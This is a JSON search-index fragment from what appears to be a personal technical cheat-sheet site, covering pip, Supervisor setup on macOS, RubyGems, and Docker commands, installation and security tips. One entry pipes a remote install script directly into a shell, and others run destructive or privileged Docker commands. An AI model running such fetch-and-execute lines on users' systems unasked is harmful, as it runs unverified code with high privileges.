    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#update-package-to-the-latest-avalable-version", "title": "Update Package To The Latest Avalable Version", "text": "

    exmaple with MySQL_python package:

    pip install MySQL_python --upgrade\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#update-pip-itself", "title": "Update Pip Itself", "text": "
    pip install --upgrade pip\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#update-all-packages-installed-with-pip", "title": "Update All Packages Installed With Pip", "text": "
    pip list --outdated --format=freeze | grep -v '^\\-e' | cut -d = -f 1 | xargs -n1 pip install -U\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#generate-requirementstxt-for-a-project", "title": "Generate requirements.txt For a Project", "text": "

    Run this command at terminal at the root of the project:

    pip freeze > requirements.txt\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/", "title": "Supervisor Python Processes Management", "text": "

    Supervisor is a client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems. Official Supervisord Docs.

    Example of Supervisord Web UI listening on localhost:9999

    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#tips-of-supervisor-usage", "title": "Tips of Supervisor Usage", "text": "

    Seeing all child processes running

    supervisorctl -c /path/to/supervisord.conf\n

    I find it helpful to create an alias in my bash profile for those 2 commands above so that I don't have to manually type -c all the time

    Example:

    echo \"alias supervisord='supervisord -c /System/Volumes/Data/opt/homebrew/etc/supervisord.conf'\"\necho \"alias supervisorctl='supervisorctl -c /System/Volumes/Data/opt/homebrew/etc/supervisord.conf'\"\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#list-all-processes", "title": "List All Processes", "text": "

    You need to provide the path to the supervisor configuration file with - -c /path/to/supervisord.conf

    supervisorctl -c /System/Volumes/Data/opt/homebrew/etc/supervisord.conf\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#reload-changes-from-config-file-to-supervisor", "title": "Reload Changes from Config File to Supervisor", "text": "
    supervisorctl reread\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#update-supervisor-configuration", "title": "Update Supervisor Configuration", "text": "
    supervisorctl update\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#macos-supervisor-installation", "title": "MacOS Supervisor Installation", "text": "

    Install with pip as system package:

    brew install supervisor\n

    The default location of the supervisor configuration file is at /System/Volumes/Data/opt/homebrew/etc/supervisord.conf.

    You can use a symbolic link to the configuration file to make it persistent. For example, you can move the configuration file to Dropbox folder and use a symbolic link to it.

    Link the configuration file to the Dropbox folder:

    rm -rf /System/Volumes/Data/opt/homebrew/etc/supervisord.conf\nln -s /Users/fire1ce/Dropbox/SettingsConfigs/supervisor/supervisord.conf /System/Volumes/Data/opt/homebrew/etc/supervisord.conf\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#start-supervisor-service-on-boot", "title": "Start Supervisor Service on Boot", "text": "

    In order to start the supervisor service on boot, we need to create a service file for MacOS.

    sudo nano /Library/LaunchDaemons/com.agendaless.supervisord.plist\n

    Append the following content to the file:

    <!-- /Library/LaunchDaemons/com.agendaless.supervisord.plist -->\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n<key>KeepAlive</key>\n<dict>\n<key>SuccessfulExit</key>\n<false/>\n</dict>\n<key>Label</key>\n<string>com.agendaless.supervisord</string>\n<key>ProgramArguments</key>\n<array>\n<string>/opt/homebrew/bin/supervisord</string>\n<string>-n</string>\n<string>-c</string>\n<string>/System/Volumes/Data/opt/homebrew/etc/supervisord.conf</string>\n</array>\n<key>RunAtLoad</key>\n<true/>\n</dict>\n</plist>\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/supervisor/#supervisor-configuration-file-example-with-2-managed-processes", "title": "Supervisor Configuration File Example With 2 Managed Processes:", "text": "
    [unix_http_server]\nfile=/opt/homebrew/var/run/supervisor.sock # the path to the socket file\n\n\n[inet_http_server] # inet (TCP) server disabled by default\nport=127.0.0.1:9999 # ip_address:port specifier, *:port for all iface\n# username=user # default is no username (open server)\n# password=123  default is no password (open server)\n\n[supervisord]\nlogfile=/opt/homebrew/var/log/supervisord.log # main log file# default $CWD/supervisord.log\nlogfile_maxbytes=50MB # max main logfile bytes b4 rotation# default 50MB\nlogfile_backups=10 # # of main logfile backups# 0 means none, default 10\nloglevel=info # log level# default info# others: debug,warn,trace\npidfile=/opt/homebrew/var/run/supervisord.pid # supervisord pidfile# default supervisord.pid\nnodaemon=false # start in foreground if true# default false\nsilent=false # no logs to stdout if true# default false\nminfds=1024 # min. avail startup file descriptors# default 1024\nminprocs=200 # min. avail process descriptors#default 200\n\n[rpcinterface:supervisor]\nsupervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface\n\n[supervisorctl]\nserverurl=unix:///opt/homebrew/var/run/supervisor.sock\n\n[include]\nfiles = /opt/homebrew/etc/supervisor.d/*.ini\n\n[program:macos-bt-connect-based-on-ip]\ncommand=/Users/fire1ce/.pyenv/versions/macos-bt-connect-based-on-ip/bin/python /Users/fire1ce/projects/macos-bt-connect-based-on-ip/macos-bt-connect-based-on-ip.py\ndirectory=/Users/fire1ce/projects/macos-bt-connect-based-on-ip\nuser=fire1ce\nautostart=true\nautorestart=true\nstartsecs=2\nstartretries=3\nstdout_logfile=/opt/homebrew/var/log/macos-bt-connect-based-on-ip.out.log\nstdout_logfile_maxbytes=1MB # max # logfile bytes b4 rotation (default 50MB)\nstdout_logfile_backups=5 # # of stdout logfile backups (0 means none, default 10)\nstderr_logfile=/opt/homebrew/var/log/macos-bt-connect-based-on-ip.err.log\nstderr_logfile_maxbytes=1MB # max # logfile bytes b4 rotation (default 50MB)\nstderr_logfile_backups=5 # # of stderr logfile backups (0 means none, default 10)\n\n\n[program:macos-screenlock-api]\ncommand=/Users/fire1ce/.pyenv/versions/macos-screenlock-api/bin/python /Users/fire1ce/projects/macos-screenlock-api/macos-screenlock-api.py\ndirectory=/Users/fire1ce/projects/macos-screenlock-api\nuser=fire1ce\nautostart=true\nautorestart=true\nstartsecs=2\nstartretries=3\nstdout_logfile=/opt/homebrew/var/log/macos-screenlock-api.out.log\nstdout_logfile_maxbytes=1MB # max # logfile bytes b4 rotation (default 50MB)\nstdout_logfile_backups=5 # # of stdout logfile backups (0 means none, default 10)\nstderr_logfile=/opt/homebrew/var/log/macos-screenlock-api.err.log\nstderr_logfile_maxbytes=1MB # max # logfile bytes b4 rotation (default 50MB)\nstderr_logfile_backups=5 # # of stderr logfile backups (0 means none, default 10)\n
    ", "tags": ["python", "supervisor", "processes-manager", "cheat-sheet"]}, {"location": "development/python/virtualenv/", "title": "Python Virtual Environment", "text": "", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/python/virtualenv/#about-python-virtual-environment-venv", "title": "About Python Virtual Environment - venv", "text": "

    venv is a tool to create isolated Python environments. Since Python 3.3, a subset of it has been integrated into the standard library under the venv module. The venv module provides support for creating lightweight \u201cvirtual environments\u201d with their own site directories, optionally isolated from system site directories. Each virtual environment has its own Python binary (which matches the version of the binary that was used to create this environment) and can have its own independent set of installed Python packages in its site directories.

    ", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/python/virtualenv/#install-venv", "title": "Install venv", "text": "

    In order to install venv, we need to install the following packages:

    apt example
    sudo apt install python3-venv\n
    ", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/python/virtualenv/#initialization-of-a-virtual-environment", "title": "Initialization of a Virtual Environment", "text": "

    Go to the root destination of your project and run the following command:

    python3 -m venv .venv\n

    This will create a virtual environment in the current directory. The virtual environment folder will be named .venv.

    ", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/python/virtualenv/#activation-of-a-virtual-environment", "title": "Activation of a Virtual Environment", "text": "

    In order to activate a virtual environment, from the root directory of your project, run the following command:

    source .venv/bin/activate\n

    Check if the virtual environment is activated by running the following command:

    which python\n

    The output should be with ../.venv/bin/python as the output.

    Bonus:

    You can add an alias to your bash profile to make it easier to activate the virtual environment:

    alias activate='source .venv/bin/activate'\n
    ", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/python/virtualenv/#deactivation-of-a-virtual-environment", "title": "Deactivation of a Virtual Environment", "text": "

    When you are done with the virtual environment, you can deactivate it by running the following command:

    deactivate\n
    Or alternatively you can exit the current shell.

    ", "tags": ["python", "venv", "cheat-sheet"]}, {"location": "development/ruby/ruby/", "title": "Ruby Gem Package Manager", "text": "

    RubyGems is a package manager for the Ruby programming language that provides a standard format for distributing Ruby programs and libraries (in a self-contained format called a \"gem\"), a tool designed to easily manage the installation of gems, and a server for distributing them.

    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#finding-installed-and-available-gems", "title": "Finding Installed And Available Gems", "text": "
    gem list\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#installing-new-gems", "title": "Installing New Gems", "text": "
    gem install rails_utils\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#removing-deleting-gems", "title": "Removing / Deleting Gems", "text": "
    gem uninstall rails_utils\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#finding-outdated-gems", "title": "Finding Outdated Gems", "text": "
    gem outdated\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#get-gem-ruby-environment-information", "title": "Get Gem & Ruby Environment Information", "text": "
    gem environment\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#update-all-the-gems", "title": "Update All the Gems", "text": "

    Install rubygems-update

    gem install rubygems-update\n

    Then run:

    gem update --system\nupdate_rubygems\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "development/ruby/ruby/#reading-the-gem-documentation", "title": "Reading The Gem Documentation", "text": "

    One of the most handy and important things about gems is that they [should] come with good documentation to allow you to start working with them fast. The simplest way to go with documentation is to run a local server where you will have access to all installed gems\u2019 usage instructions.

    Run the following to run a documentation server:

    gem server\n

    it will start a server on port 8808.

    # Server started at http://0.0.0.0:8808\n
    ", "tags": ["ruby", "gem", "package-manager", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/", "title": "Common Docker Commands", "text": "

    This is a short summary of the most commonly used Docker commands. If you're new to Docker, or even experienced Docker, it can be helpful to have a quick reference to the most commonly used Docker commands for managing the Docker environment.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#show-all-containers-including-running-and-stopped", "title": "Show all Containers Including Running and Stopped", "text": "
    docker ps -a\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#show-docker-container-logs", "title": "Show Docker Container Logs", "text": "
    docker logs <container_id>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#get-a-container-shell", "title": "Get A Container Shell", "text": "
    docker exec -it <container_id> /bin/bash\n

    or

    docker exec -it <container_id> /bin/sh\n

    depending on the shells available on the Docker image.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#stoping-containers", "title": "Stoping Containers", "text": "
    docker stop <container_id>\n

    foce stop with kill

    docker kill <container_id>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#removing-containers", "title": "Removing Containers", "text": "
    docker rm <container_id>\n

    force remove

    docker rm -f <container_id>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#find-container-ip-address", "title": "Find Container IP Address", "text": "
    docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' <container name/id>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#copy-files-into-docker-container", "title": "Copy Files into Docker Container", "text": "
    docker cp <local file> <container name/id>:<remote file>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#copy-files-from-docker-container", "title": "Copy Files from Docker Container", "text": "
    docker cp <container name/id>:<remote file> <local file>\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#purging", "title": "Purging", "text": "

    Purging All Unused or Dangling Images, Containers, Volumes, and Networks Docker provides a single command that will clean up any resources \u2014 images, containers, volumes, and networks \u2014 that are dangling (not associated with a container):

    docker system prune\n

    To additionally remove any stopped containers and all unused images (not just dangling images), add the -a flag to the command:

    docker system prune -a\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#monitor-system-resource-utilization-for-running-containers", "title": "Monitor System Resource Utilization for Running Containers", "text": "

    To check the CPU, memory, and network I/O usage of a single container, you can use:

    docker stats <container>\n

    For all containers listed by ID:

    docker stats $(docker ps -q)\n

    For all containers listed by name:

    docker stats $(docker ps --format '{{.Names}}')\n

    For all containers listed by image:

    docker ps -a -f ancestor=ubuntu\n

    Remove all untagged images:

    docker rmi $(docker images | grep \u201c^\u201d | awk '{split($0,a,\" \"); print a[3]}')\n

    Remove container by a regular expression:

    docker ps -a | grep wildfly | awk '{print $1}' | xargs docker rm -f\n

    Remove all exited containers:

    docker rm -f $(docker ps -a | grep Exit | awk '{ print $1 }')\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/common-docker-commands/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/", "title": "Docker Containers Cheat Sheet", "text": "", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#whats-a-docker-container", "title": "What's a Docker Container?", "text": "

    A Docker container image is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#containers", "title": "Containers", "text": "

    Your basic isolated Docker process. Containers are to Virtual Machines as threads are to processes. Or you can think of them as chroots on steroids.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#lifecycle", "title": "Lifecycle", "text": "
    • docker create creates a container but does not start it.
    • docker rename allows the container to be renamed.
    • docker run creates and starts a container in one operation.
    • docker rm deletes a container.
    • docker update updates a container's resource limits.

    Normally if you run a container without options it will start and stop immediately, if you want keep it running you can use the command, docker run -td container_id this will use the option -t that will allocate a pseudo-TTY session and -d that will detach automatically the container (run container in background and print container ID).

    If you want a transient container, docker run --rm will remove the container after it stops.

    If you want to map a directory on the host to a docker container, docker run -v $HOSTDIR:$DOCKERDIR. Also see Volumes.

    If you want to remove also the volumes associated with the container, the deletion of the container must include the -v switch like in docker rm -v.

    There's also a logging driver available for individual containers in docker 1.10. To run docker with a custom log driver (i.e., to syslog), use docker run --log-driver=syslog.

    Another useful option is docker run --name yourname docker_image because when you specify the --name inside the run command this will allow you to start and stop a container by calling it with the name the you specified when you created it.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#starting-and-stopping", "title": "Starting and Stopping", "text": "
    • docker start starts a container so it is running.
    • docker stop stops a running container.
    • docker restart stops and starts a container.
    • docker pause pauses a running container, \"freezing\" it in place.
    • docker unpause will unpause a running container.
    • docker wait blocks until running container stops.
    • docker kill sends a SIGKILL to a running container.
    • docker attach will connect to a running container.

    If you want to detach from a running container, use Ctrl + p, Ctrl + q. If you want to integrate a container with a host process manager, start the daemon with -r=false then use docker start -a.

    If you want to expose container ports through the host, see the exposing ports section.

    Restart policies on crashed docker instances are covered here.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#cpu-constraints", "title": "CPU Constraints", "text": "

    You can limit CPU, either using a percentage of all CPUs, or by using specific cores.

    For example, you can tell the cpu-shares setting. The setting is a bit strange -- 1024 means 100% of the CPU, so if you want the container to take 50% of all CPU cores, you should specify 512. See https://goldmann.pl/blog/2014/09/11/resource-management-in-docker/#_cpu for more:

    docker run -it -c 512 agileek/cpuset-test\n

    You can also only use some CPU cores using cpuset-cpus. See https://agileek.github.io/docker/2014/08/06/docker-cpuset/ for details and some nice videos:

    docker run -it --cpuset-cpus=0,4,6 agileek/cpuset-test\n

    Note that Docker can still see all of the CPUs inside the container -- it just isn't using all of them. See https://github.com/docker/docker/issues/20770 for more details.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#memory-constraints", "title": "Memory Constraints", "text": "

    You can also set memory constraints on Docker:

    docker run -it -m 300M ubuntu:14.04 /bin/bash\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#capabilities", "title": "Capabilities", "text": "

    Linux capabilities can be set by using cap-add and cap-drop. See https://docs.docker.com/engine/reference/run/#/runtime-privilege-and-linux-capabilities for details. This should be used for greater security.

    To mount a FUSE based filesystem, you need to combine both --cap-add and --device:

    docker run --rm -it --cap-add SYS_ADMIN --device /dev/fuse sshfs\n

    Give access to a single device:

    docker run -it --device=/dev/ttyUSB0 debian bash\n

    Give access to all devices:

    docker run -it --privileged -v /dev/bus/usb:/dev/bus/usb debian bash\n

    More info about privileged containers here.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#info", "title": "Info", "text": "
    • docker ps shows running containers.
    • docker logs gets logs from container. (You can use a custom log driver, but logs is only available for json-file and journald in 1.10).
    • docker inspect looks at all the info on a container (including IP address).
    • docker events gets events from container.
    • docker port shows public facing port of container.
    • docker top shows running processes in container.
    • docker stats shows containers' resource usage statistics.
    • docker diff shows changed files in the container's FS.

    docker ps -a shows running and stopped containers.

    docker stats --all shows a list of all containers, default shows just running.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#import-export", "title": "Import / Export", "text": "
    • docker cp copies files or folders between a container and the local filesystem.
    • docker export turns container filesystem into tarball archive stream to STDOUT.
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#executing-commands", "title": "Executing Commands", "text": "
    • docker exec to execute a command in container.

    To enter a running container, attach a new shell process to a running container called foo, use: docker exec -it foo /bin/bash.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-containers/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/", "title": "Docker Images Cheat Sheet", "text": "", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#whats-a-docker-image", "title": "What's a Docker Image?", "text": "

    A Docker image is a file used to execute code in a Docker container. Docker images act as a set of instructions to build a Docker container, like a template. Docker images also act as the starting point when using Docker. An image is comparable to a snapshot in virtual machine (VM) environments.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#images", "title": "Images", "text": "

    Images are just templates for docker containers.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#lifecycle", "title": "Lifecycle", "text": "
    • docker images shows all images.
    • docker import creates an image from a tarball.
    • docker build creates image from Dockerfile.
    • docker commit creates image from a container, pausing it temporarily if it is running.
    • docker rmi removes an image.
    • docker load loads an image from a tar archive as STDIN, including images and tags (as of 0.7).
    • docker save saves an image to a tar archive stream to STDOUT with all parent layers, tags & versions (as of 0.7).
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#info", "title": "Info", "text": "
    • docker history shows history of image.
    • docker tag tags an image to a name (local or registry).
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#cleaning-up", "title": "Cleaning up", "text": "

    While you can use the docker rmi command to remove specific images, there's a tool called docker-gc that will safely clean up images that are no longer used by any containers. As of docker 1.13, docker image prune is also available for removing unused images. See Prune.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#loadsave-image", "title": "Load/Save image", "text": "

    Load an image from file:

    docker load < my_image.tar.gz\n

    Save an existing image:

    docker save my_image:my_tag | gzip > my_image.tar.gz\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#importexport-container", "title": "Import/Export container", "text": "

    Import a container as an image from file:

    cat my_container.tar.gz | docker import - my_image:my_tag\n

    Export an existing container:

    docker export my_container | gzip > my_container.tar.gz\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#difference-between-loading-a-saved-image-and-importing-an-exported-container-as-an-image", "title": "Difference between loading a saved image and importing an exported container as an image", "text": "

    Loading an image using the load command creates a new image including its history. Importing a container as an image using the import command creates a new image excluding the history which results in a smaller image size compared to loading an image.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-images/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/", "title": "Docker Installation", "text": "

    You can download and install Docker on multiple platforms. The following are the most common ways to install Docker on Linux, Mac, and Windows. You can also install Docker on other platforms if you have the necessary software.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#images", "title": "Images", "text": "", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#linux", "title": "Linux", "text": "

    Run this quick and easy install script provided by Docker:

    curl -sSL https://get.docker.com/ | sh\n

    If you're not willing to run a random shell script, please see the installation instructions for your distribution.

    If you are a complete Docker newbie, you should follow the series of tutorials now.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#macos", "title": "macOS", "text": "

    Download and install Docker Community Edition. if you have Homebrew-Cask, just type brew install --cask docker. Or Download and install Docker Toolbox. Docker For Mac is nice, but it's not quite as finished as the VirtualBox install. See the comparison.

    NOTE Docker Toolbox is legacy. You should to use Docker Community Edition, See Docker Toolbox.

    Once you've installed Docker Community Edition, click the docker icon in Launchpad. Then start up a container:

    docker run hello-world\n

    That's it, you have a running Docker container.

    If you are a complete Docker newbie, you should probably follow the series of tutorials now.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#windows-10", "title": "Windows 10", "text": "

    Instructions to install Docker Desktop for Windows can be found here

    Once installed, open powershell as administrator and run:

    # Display the version of docker installed:\ndocker version\n\n# Pull, create, and run 'hello-world':\ndocker run hello-world\n

    To continue with this cheat sheet, right click the Docker icon in the system tray, and go to settings. In order to mount volumes, the C:/ drive will need to be enabled in the settings to that information can be passed into the containers (later described in this article).

    To switch between Windows containers and Linux containers, right click the icon in the system tray and click the button to switch container operating system Doing this will stop the current containers that are running, and make them unaccessible until the container OS is switched back.

    Additionally, if you have WSL or WSL2 installed on your desktop, you might want to install the Linux Kernel for Windows. Instructions can be found here. This requires the Windows Subsystem for Linux feature. This will allow for containers to be accessed by WSL operating systems, as well as the efficiency gain from running WSL operating systems in docker. It is also preferred to use Windows terminal for this.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#windows-server-2016-2019", "title": "Windows Server 2016 / 2019", "text": "

    Follow Microsoft's instructions that can be found here

    If using the latest edge version of 2019, be prepared to only work in powershell, as it is only a servercore image (no desktop interface). When starting this machine, it will login and go straight to a powershell window. It is reccomended to install text editors and other tools using Chocolatey.

    After installing, these commands will work:

    # Display the version of docker installed:\ndocker version\n\n# Pull, create, and run 'hello-world':\ndocker run hello-world\n

    Windows Server 2016 is not able to run Linux images.

    Windows Server Build 2004 is capable of running both linux and windows containers simultaneously through Hyper-V isolation. When running containers, use the --isolation=hyperv command, which will isolate the container using a seperate kernel instance.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#check-version", "title": "Check Version", "text": "

    It is very important that you always know the current version of Docker you are currently running on at any point in time. This is very helpful because you get to know what features are compatible with what you have running. This is also important because you know what containers to run from the docker store when you are trying to get template containers. That said let see how to know which version of docker we have running currently.

    • docker version shows which version of docker you have running.

    Get the server version:

    $ docker version --format '{{.Server.Version}}'\n1.8.0\n

    You can also dump raw JSON data:

    $ docker version --format '{{json .}}'\n{\"Client\":{\"Version\":\"1.8.0\",\"ApiVersion\":\"1.20\",\"GitCommit\":\"f5bae0a\",\"GoVersion\":\"go1.4.2\",\"Os\":\"linux\",\"Arch\":\"am\"}\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-install/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/", "title": "Docker Networks & Links Cheat Sheet", "text": "", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#networks", "title": "Networks", "text": "

    Docker has a networks feature. Docker automatically creates 3 network interfaces when you install it (bridge, host none). A new container is launched into the bridge network by default. To enable communication between multiple containers, you can create a new network and launch containers in it. This enables containers to communicate to each other while being isolated from containers that are not connected to the network. Furthermore, it allows to map container names to their IP addresses. See working with networks for more details.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#lifecycle", "title": "Lifecycle", "text": "
    • docker network create NAME Create a new network (default type: bridge).
    • docker network rm NAME Remove one or more networks by name or identifier. No containers can be connected to the network when deleting it.
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#info", "title": "Info", "text": "
    • docker network ls List networks
    • docker network inspect NAME Display detailed information on one or more networks.
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#connection", "title": "Connection", "text": "
    • docker network connect NETWORK CONTAINER Connect a container to a network
    • docker network disconnect NETWORK CONTAINER Disconnect a container from a network

    You can specify a specific IP address for a container:

    # create a new bridge network with your subnet and gateway for your ip block\ndocker network create --subnet 203.0.113.0/24 --gateway 203.0.113.254 iptastic\n\n# run a nginx container with a specific ip in that block\n$ docker run --rm -it --net iptastic --ip 203.0.113.2 nginx\n\n# curl the ip from any other place (assuming this is a public ip block duh)\n$ curl 203.0.113.2\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#links", "title": "Links", "text": "

    Links are how Docker containers talk to each other through TCP/IP ports. Atlassian show worked examples. You can also resolve links by hostname.

    This has been deprecated to some extent by user-defined networks.

    NOTE: If you want containers to ONLY communicate with each other through links, start the docker daemon with -icc=false to disable inter process communication.

    If you have a container with the name CONTAINER (specified by docker run --name CONTAINER) and in the Dockerfile, it has an exposed port:

    EXPOSE 1337\n

    Then if we create another container called LINKED like so:

    docker run -d --link CONTAINER:ALIAS --name LINKED user/wordpress\n

    Then the exposed ports and aliases of CONTAINER will show up in LINKED with the following environment variables:

    $ALIAS_PORT_1337_TCP_PORT\n$ALIAS_PORT_1337_TCP_ADDR\n

    And you can connect to it that way.

    To delete links, use docker rm --link.

    Generally, linking between docker services is a subset of \"service discovery\", a big problem if you're planning to use Docker at scale in production. Please read The Docker Ecosystem: Service Discovery and Distributed Configuration Stores for more info.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-networks/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/", "title": "Docker Security & Best Practices", "text": "", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#security", "title": "Security", "text": "

    This is where security tips about Docker go. The Docker security page goes into more detail.

    First things first: Docker runs as root. If you are in the docker group, you effectively have root access. If you expose the docker unix socket to a container, you are giving the container root access to the host.

    Docker should not be your only defense. You should secure and harden it.

    For an understanding of what containers leave exposed, you should read Understanding and Hardening Linux Containers by Aaron Grattafiori. This is a complete and comprehensive guide to the issues involved with containers, with a plethora of links and footnotes leading on to yet more useful content. The security tips following are useful if you've already hardened containers in the past, but are not a substitute for understanding.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#security-tips", "title": "Security Tips", "text": "

    For greatest security, you want to run Docker inside a virtual machine. This is straight from the Docker Security Team Lead -- slides / notes. Then, run with AppArmor / seccomp / SELinux / grsec etc to limit the container permissions. See the Docker 1.10 security features for more details.

    Docker image ids are sensitive information and should not be exposed to the outside world. Treat them like passwords.

    See the Docker Security Cheat Sheet by Thomas Sj\u00f6gren: some good stuff about container hardening in there.

    Check out the docker bench security script, download the white papers.

    Snyk's 10 Docker Image Security Best Practices cheat sheet

    You should start off by using a kernel with unstable patches for grsecurity / pax compiled in, such as Alpine Linux. If you are using grsecurity in production, you should spring for commercial support for the stable patches, same as you would do for RedHat. It's $200 a month, which is nothing to your devops budget.

    Since docker 1.11 you can easily limit the number of active processes running inside a container to prevent fork bombs. This requires a linux kernel >= 4.3 with CGROUP_PIDS=y to be in the kernel configuration.

    docker run --pids-limit=64\n

    Also available since docker 1.11 is the ability to prevent processes from gaining new privileges. This feature have been in the linux kernel since version 3.5. You can read more about it in this blog post.

    docker run --security-opt=no-new-privileges\n

    From the Docker Security Cheat Sheet (it's in PDF which makes it hard to use, so copying below) by Container Solutions:

    Turn off interprocess communication with:

    docker -d --icc=false --iptables\n

    Set the container to be read-only:

    docker run --read-only\n

    Verify images with a hashsum:

